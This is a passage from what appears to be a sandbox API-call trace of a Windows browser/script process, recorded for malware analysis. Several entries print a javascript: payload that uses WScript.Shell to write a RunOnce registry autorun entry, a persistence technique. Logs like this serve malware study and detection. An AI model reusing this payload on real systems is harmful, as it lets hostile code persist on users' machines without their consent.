lpPoint=0x95ec28 | out: lpPoint=0x95ec28) returned 1 [0253.302] GetKeyState (nVirtKey=16) returned 0 [0253.302] GetKeyState (nVirtKey=17) returned 0 [0253.302] GetKeyState (nVirtKey=18) returned 0 [0253.302] GetKeyState (nVirtKey=160) returned 0 [0253.302] GetKeyState (nVirtKey=162) returned 0 [0253.303] GetKeyState (nVirtKey=164) returned 0 [0253.303] GetCursorPos (in: lpPoint=0x95ec28 | out: lpPoint=0x95ec28*(x=1000, y=495)) returned 1 [0253.303] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95ec28 | out: lpPoint=0x95ec28) returned 1 [0253.303] GetKeyState (nVirtKey=16) returned 0 [0253.303] GetKeyState (nVirtKey=17) returned 0 [0253.303] GetKeyState (nVirtKey=18) returned 0 [0253.303] GetKeyState (nVirtKey=160) returned 0 [0253.303] GetKeyState (nVirtKey=162) returned 0 [0253.303] GetKeyState (nVirtKey=164) returned 0 [0253.303] GetCapture () returned 0x0 [0253.304] memcpy_s (in: _Destination=0x494c270, _DestinationSize=0x10, _Source=0x95e718, _SourceSize=0x10 | out: _Destination=0x494c270) returned 0x0 [0253.304] GetCurrentThreadId () returned 0xe38 [0253.304] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0253.304] GetCurrentThreadId () returned 0xe38 [0253.304] GetKeyState (nVirtKey=1) returned 0 [0253.304] GetKeyState (nVirtKey=2) returned 0 [0253.304] GetKeyState (nVirtKey=16) returned 0 [0253.304] GetKeyState (nVirtKey=17) returned 0 [0253.304] GetKeyState (nVirtKey=4) returned 0 [0253.304] GetKeyState (nVirtKey=18) returned 0 [0253.304] GetMessageTime () returned 0 [0253.305] GetMessagePos () returned 0x0 [0253.305] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x95ee5c | out: plResult=0x95ee5c) returned 0x1 [0253.305] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0253.307] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x0) returned 0x726c0000 [0253.308] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x60) returned 0x726c0000 [0253.308] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0x95f390, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0253.309] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0x95f3f8, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0253.309] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0x95f3dc, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0253.309] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0253.309] GetCurrentThreadId () returned 0xe38 [0253.309] ShowWindow (hWnd=0x60210, nCmdShow=1) returned 1 [0253.309] IUnknown:Release (This=0x9dd878) returned 0x1 [0253.309] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9ddfe8 | out: hHeap=0x9d0000) returned 1 [0253.309] GetMessageW (lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0253.309] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0253.309] SetEvent (hEvent=0x380) returned 1 [0253.310] TranslateMessage (lpMsg=0x95f69c) returned 0 [0253.310] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0253.310] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0253.311] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0253.311] TranslateMessage (lpMsg=0x95f69c) returned 0 [0253.311] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0253.311] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0253.311] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0253.311] TranslateMessage (lpMsg=0x95f69c) returned 0 [0253.311] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0253.311] RegisterDragDrop (hwnd=0x60210, pDropTarget=0x7387f4e4) returned 0x0 [0253.635] QueryPerformanceCounter (in: lpPerformanceCount=0x95f378 | out: lpPerformanceCount=0x95f378*=25693739200) returned 1 [0253.635] SetEvent (hEvent=0x374) returned 1 [0253.636] QueryPerformanceCounter (in: lpPerformanceCount=0x4968a00 | out: lpPerformanceCount=0x4968a00*=25693821254) returned 1 [0253.636] GetCurrentThreadId () returned 0xe38 [0253.636] GetCurrentThreadId () returned 0xe38 [0253.636] GetCurrentThreadId () returned 0xe38 [0253.636] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0253.636] TranslateMessage (lpMsg=0x95f69c) returned 0 [0253.636] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0253.636] IInternetProtocolRoot:Continue (This=0x49b60cc, pProtocolData=0x9ef630) returned 0x0 [0253.636] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1a) returned 0xa3a8e8 [0253.636] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95f3f0 | out: ppu=0x95f3f0) returned 0x0 [0253.636] IUnknown:QueryInterface (in: This=0x9ebb78, riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95f2ec | out: ppvObject=0x95f2ec*=0x0) returned 0x80004002 [0253.636] IServiceProvider:QueryService (in: This=0x9ebb38, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95f2ec | out: ppvObject=0x95f2ec*=0x498601c) returned 0x0 [0253.637] StrToIntW (lpSrc="10435776") returned 10435776 [0253.637] CoTaskMemFree (pv=0xa3aea0) [0253.637] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0253.637] IUnknown:AddRef (This=0x9f1a44) returned 0x8 [0253.637] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0253.637] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pdwZone=0x95f398, dwFlags=0x0 | out: pdwZone=0x95f398*=0xffffffff) returned 0x800c0011 [0253.637] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0253.637] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0253.638] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x9f2ba8, pUri=0x9f1a44, dwAction=0x1400, pPolicy=0x95f39c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x95f37c | out: pPolicy=0x95f39c*=0x0, pdwOutFlags=0x95f37c*=0x0) returned 0x0 [0253.638] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwAction=0x1400, pPolicy=0x95f39c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x95f39c*=0x0) returned 0x0 [0253.638] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0253.638] IUnknown:Release (This=0x9f1a44) returned 0x7 [0253.638] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0253.638] GetCurrentThreadId () returned 0xe38 [0253.638] PostMessageW (hWnd=0x701f8, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0253.638] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0253.638] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0253.638] CoCreateInstance (in: rclsid=0x95f30c*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x728744f8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x95f2b0 | out: ppv=0x95f2b0*=0xdfce84) returned 0x0 [0253.645] malloc (_Size=0x80) returned 0xdfa388 [0253.645] GetCurrentProcess () returned 0xffffffff [0253.645] GetSystemInfo (in: lpSystemInfo=0x719e24b0 | out: lpSystemInfo=0x719e24b0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0253.645] GetVersionExW (in: lpVersionInformation=0x719e24f4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x719e24f4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0253.645] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0x95d67c, nSize=0x104 | out: lpBuffer="\xd6b0\x95") returned 0x0 [0253.645] IsDebuggerPresent () returned 0 [0253.646] __dllonexit () returned 0x7185c6b0 [0253.646] __dllonexit () returned 0x7185c6c0 [0253.646] __dllonexit () returned 0x7185c6d0 [0253.646] __dllonexit () returned 0x7185c680 [0253.646] __dllonexit () returned 0x7185c690 [0253.646] __dllonexit () returned 0x7185c6a0 [0253.647] GlobalMemoryStatusEx (in: lpBuffer=0x95d840 | out: lpBuffer=0x95d840) returned 1 [0253.647] __dllonexit () returned 0x7185c6f0 [0253.647] __dllonexit () returned 0x7185c710 [0253.647] __dllonexit () returned 0x7185c720 [0253.647] __dllonexit () returned 0x7185c740 [0253.647] __dllonexit () returned 0x7185c730 [0253.647] __dllonexit () returned 0x7185c750 [0253.648] __dllonexit () returned 0x7185c760 [0253.648] __dllonexit () returned 0x7185c770 [0253.648] GetModuleFileNameW (in: hModule=0x716a0000, lpFilename=0x719e1e38, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\jscript9.dll" (normalized: "c:\\windows\\system32\\jscript9.dll")) returned 0x20 [0253.648] _set_SSE2_enable () returned 0x1 [0253.648] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0x95d8c0 | out: phkResult=0x95d8c0*=0x0) returned 0x2 [0253.648] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0x95d8c0 | out: phkResult=0x95d8c0*=0x0) returned 0x2 [0253.648] EtwEventRegister (in: ProviderId=0x716cca00, EnableCallback=0x718c7280, CallbackContext=0x719d3038, RegHandle=0x719e2f18 | out: RegHandle=0x719e2f18) returned 0x0 [0253.649] EtwEventRegister (in: ProviderId=0x716cc9f0, EnableCallback=0x718c7280, CallbackContext=0x719d3000, RegHandle=0x719e2f10 | out: RegHandle=0x719e2f10) returned 0x0 [0253.649] EtwEventRegister (in: ProviderId=0x716cc9e0, EnableCallback=0x718c7280, CallbackContext=0x719d9ba0, RegHandle=0x719e2f28 | out: RegHandle=0x719e2f28) returned 0x0 [0253.649] FindAtomW (lpString="{1b7cd997-e5ff-4932-a7a6-2a9e636da385}") returned 0x0 [0253.649] AddAtomW (lpString="{16d51579-a30b-4c8b-a276-0ff4dc41e755}") returned 0xc005 [0253.651] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x75e90000 [0253.651] GetProcAddress (hModule=0x75e90000, lpProcName="QueryProtectedPolicy") returned 0x74f71cd0 [0253.651] VirtualProtect (in: lpAddress=0x719e4438, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x95d8c0 | out: lpflOldProtect=0x95d8c0*=0x2) returned 1 [0253.993] VirtualProtect (in: lpAddress=0x719e4438, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x95d8c0 | out: lpflOldProtect=0x95d8c0*=0x4) returned 1 [0253.993] DllGetClassObject (in: rclsid=0xa065fc*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e334 | out: ppv=0x95e334*=0xdfcd80) returned 0x0 [0253.993] NdrDllGetClassObject (in: rclsid=0xa065fc*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e334, pProxyFileList=0x716a2464, pclsid=0x716cc664*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x719e1e08 | out: ppv=0x95e334*=0x0) returned 0x80040111 [0253.993] malloc (_Size=0x34) returned 0xdfcd80 [0253.995] JScriptEngine11:IClassFactory:CreateInstance (in: This=0xdfcd80, pUnkOuter=0x0, riid=0x95eda4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x95e31c | out: ppvObject=0x95e31c*=0xdfce84) returned 0x0 [0253.995] malloc (_Size=0x220) returned 0xdfce68 [0253.995] GetUserDefaultLCID () returned 0x409 [0253.995] GetACP () returned 0x4e4 [0253.995] malloc (_Size=0x8) returned 0xdfd090 [0253.995] SetThreadStackGuarantee (in: StackSizeInBytes=0x95e280 | out: StackSizeInBytes=0x95e280) returned 1 [0253.995] malloc (_Size=0xc) returned 0xdfb148 [0253.995] malloc (_Size=0x1248) returned 0xdfd0a0 [0253.995] GetCurrentThreadId () returned 0xe38 [0253.995] RtlInitializeSListHead (in: ListHead=0xdfd0d8 | out: ListHead=0xdfd0d8) [0253.995] malloc (_Size=0x30) returned 0x5488110 [0253.995] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x6180000 [0253.996] malloc (_Size=0x20) returned 0xdfe2f0 [0253.996] malloc (_Size=0xc0) returned 0xdfe318 [0253.996] GetCurrentProcess () returned 0xffffffff [0253.996] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x95e208 | out: lpIoCounters=0x95e208) returned 1 [0253.996] QueryPerformanceCounter (in: lpPerformanceCount=0x95e1f0 | out: lpPerformanceCount=0x95e1f0*=25729868046) returned 1 [0253.996] GetCurrentThread () returned 0xfffffffe [0253.996] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x95e238 | out: CycleTime=0x95e238) returned 1 [0253.996] QueryPerformanceCounter (in: lpPerformanceCount=0x95e220 | out: lpPerformanceCount=0x95e220*=25729880049) returned 1 [0253.996] GetCurrentProcess () returned 0xffffffff [0253.996] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x95e208 | out: lpIoCounters=0x95e208) returned 1 [0253.996] QueryPerformanceCounter (in: lpPerformanceCount=0x95e1f0 | out: lpPerformanceCount=0x95e1f0*=25729895337) returned 1 [0253.996] GetCurrentThread () returned 0xfffffffe [0253.996] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x95e238 | out: CycleTime=0x95e238) returned 1 [0253.996] QueryPerformanceCounter (in: lpPerformanceCount=0x95e220 | out: lpPerformanceCount=0x95e220*=25729905567) returned 1 [0253.996] GetCurrentProcess () returned 0xffffffff [0253.996] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x95e208 | out: lpIoCounters=0x95e208) returned 1 [0253.997] QueryPerformanceCounter (in: lpPerformanceCount=0x95e1f0 | out: lpPerformanceCount=0x95e1f0*=25729917993) returned 1 [0253.997] GetCurrentThread () returned 0xfffffffe [0253.997] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x95e238 | out: CycleTime=0x95e238) returned 1 [0253.997] QueryPerformanceCounter (in: lpPerformanceCount=0x95e220 | out: lpPerformanceCount=0x95e220*=25729927738) returned 1 [0253.997] QueryPerformanceCounter (in: lpPerformanceCount=0x95e238 | out: lpPerformanceCount=0x95e238*=25729932508) returned 1 [0253.997] malloc (_Size=0x30) returned 0x5488148 [0253.997] JScriptEngine11:IUnknown:AddRef (This=0xdfce84) returned 0x2 [0253.997] JScriptEngine11:IUnknown:Release (This=0xdfce84) returned 0x1 [0253.997] JScriptEngine11:IUnknown:Release (This=0xdfcd80) returned 0x0 [0253.997] free (_Block=0xdfcd80) [0253.997] JScriptEngine11:IUnknown:QueryInterface (in: This=0xdfce84, riid=0x728744f8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x95f244 | out: ppvObject=0x95f244*=0xdfce84) returned 0x0 [0253.997] JScriptEngine11:IUnknown:Release (This=0xdfce84) returned 0x1 [0253.997] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0253.998] IUnknown:AddRef (This=0x9f1a44) returned 0x8 [0253.998] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0253.998] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pdwZone=0x95f1d0, dwFlags=0x0 | out: pdwZone=0x95f1d0*=0xffffffff) returned 0x800c0011 [0253.998] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0253.998] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0253.998] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x9f2ba8, pUri=0x9f1a44, dwAction=0x1401, pPolicy=0x95f1d4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x95f1b4 | out: pPolicy=0x95f1d4*=0x0, pdwOutFlags=0x95f1b4*=0x0) returned 0x0 [0253.998] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwAction=0x1401, pPolicy=0x95f1d4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x95f1d4*=0x0) returned 0x0 [0253.998] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0253.998] IUnknown:Release (This=0x9f1a44) returned 0x7 [0253.998] malloc (_Size=0x84) returned 0xdfe3e0 [0253.998] malloc (_Size=0x748) returned 0xdfe470 [0253.998] malloc (_Size=0x8610) returned 0x5489fe8 [0253.999] RtlInitializeSListHead (in: ListHead=0x548a080 | out: ListHead=0x548a080) [0253.999] RtlInitializeSListHead (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) [0253.999] malloc (_Size=0x113c) returned 0x5492600 [0253.999] malloc (_Size=0x113c) returned 0x5493748 [0254.000] GetTickCount () returned 0x3ecf1 [0254.000] GetTickCount () returned 0x3ecf1 [0254.000] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a0 [0254.000] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a4 [0254.000] malloc (_Size=0x30) returned 0x5488180 [0254.000] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a8 [0254.000] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x71821720, _ArgList=0x5489fe8, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x4ac [0254.000] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x95f0b8*=0x4a4, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0254.043] malloc (_Size=0x74) returned 0xdfebc0 [0254.043] malloc (_Size=0x88) returned 0xdfec40 [0254.043] malloc (_Size=0x30) returned 0x54881b8 [0254.043] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x6230000 [0254.043] malloc (_Size=0x404) returned 0x5494ab0 [0254.043] malloc (_Size=0x7c) returned 0xdf9ca0 [0254.043] malloc (_Size=0x404) returned 0x5494ec0 [0254.044] malloc (_Size=0x80) returned 0xdf9c18 [0254.044] malloc (_Size=0x20) returned 0xdfcd80 [0254.044] malloc (_Size=0x9dc) returned 0x54952d0 [0254.044] malloc (_Size=0x2478) returned 0x5495cb8 [0254.044] malloc (_Size=0xf8) returned 0xdfecd0 [0254.044] malloc (_Size=0x4c) returned 0xdfedd0 [0254.044] malloc (_Size=0x3c) returned 0xdfee28 [0254.045] malloc (_Size=0x88) returned 0xdfee70 [0254.045] malloc (_Size=0xd0) returned 0xdfef00 [0254.045] malloc (_Size=0x78) returned 0x5498138 [0254.045] malloc (_Size=0xb0) returned 0x54981b8 [0254.045] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b0 [0254.045] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b4 [0254.045] _beginthreadex (in: _Security=0x0, _StackSize=0x0, _StartAddress=0x717bb260, _ArgList=0x54981b8, _InitFlag=0x4, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x4b8 [0254.046] ResumeThread (hThread=0x4b8) returned 0x1 [0254.046] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x95f050*=0x4b4, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0254.047] ResetEvent (hEvent=0x4b4) returned 1 [0254.047] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4bc [0254.047] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c0 [0254.047] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c4 [0254.047] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c8 [0254.047] QueryPerformanceFrequency (in: lpFrequency=0x719e2420 | out: lpFrequency=0x719e2420*=100000000) returned 1 [0254.047] QueryPerformanceCounter (in: lpPerformanceCount=0x719e2428 | out: lpPerformanceCount=0x719e2428*=25734995799) returned 1 [0254.047] malloc (_Size=0x84) returned 0x5498270 [0254.048] malloc (_Size=0x80) returned 0xdf9970 [0254.048] malloc (_Size=0x174) returned 0x5498300 [0254.048] malloc (_Size=0xc) returned 0xdfb0a0 [0254.048] malloc (_Size=0x74) returned 0x54986b0 [0254.048] malloc (_Size=0x178) returned 0x5498730 [0254.048] malloc (_Size=0x9c) returned 0x54988b0 [0254.049] malloc (_Size=0x174) returned 0x5498958 [0254.049] malloc (_Size=0xf8) returned 0x5498ad8 [0254.049] malloc (_Size=0xf8) returned 0x5498bd8 [0254.049] malloc (_Size=0xc4) returned 0x5498cd8 [0254.050] malloc (_Size=0xcc) returned 0x5498da8 [0254.050] malloc (_Size=0x104) returned 0x5498e80 [0254.050] malloc (_Size=0xa4) returned 0x5498f90 [0254.050] malloc (_Size=0x7c) returned 0xdf99f8 [0254.051] malloc (_Size=0x74) returned 0x5499040 [0254.051] malloc (_Size=0x30) returned 0x5488378 [0254.051] malloc (_Size=0x30) returned 0x5488420 [0254.051] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0254.051] malloc (_Size=0xc) returned 0xdfb0b8 [0254.051] malloc (_Size=0x12c) returned 0x54990c0 [0254.051] malloc (_Size=0xb8) returned 0x54991f8 [0254.051] malloc (_Size=0xb8) returned 0x54992b8 [0254.052] malloc (_Size=0xf4) returned 0x5499378 [0254.052] malloc (_Size=0x98) returned 0x5499478 [0254.052] malloc (_Size=0xa8) returned 0x5499518 [0254.052] malloc (_Size=0xb4) returned 0x54995c8 [0254.052] malloc (_Size=0xb0) returned 0x5499688 [0254.052] malloc (_Size=0x94) returned 0x5499740 [0254.053] malloc (_Size=0x80) returned 0xdf9d28 [0254.053] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x74ea0000 [0254.053] GetProcAddress (hModule=0x74ea0000, lpProcName="ResolveDelayLoadedAPI") returned 0x74f9a730 [0254.053] GetProcAddress (hModule=0x74ea0000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7500d8e0 [0254.053] ResolveDelayLoadedAPI () returned 0x75bd3cc0 [0254.054] SafeArrayCopy (in: psa=0x0, ppsaOut=0x624002c | out: ppsaOut=0x624002c) returned 0x0 [0254.054] malloc (_Size=0xdc) returned 0x54997e0 [0254.054] malloc (_Size=0xf8) returned 0x54998c8 [0254.054] malloc (_Size=0xc) returned 0xdfb118 [0254.054] malloc (_Size=0x10) returned 0xdfb130 [0254.054] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x95f138, nSize=0x27 | out: lpBuffer="") returned 0x0 [0254.055] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95ef30 | out: ppu=0x95ef30) returned 0x0 [0254.055] SysStringLen (param_1="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x100 [0254.055] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0254.055] GetLocaleInfoW (in: Locale=0x409, LCType=0x1004, lpLCData=0x95f1dc, cchData=6 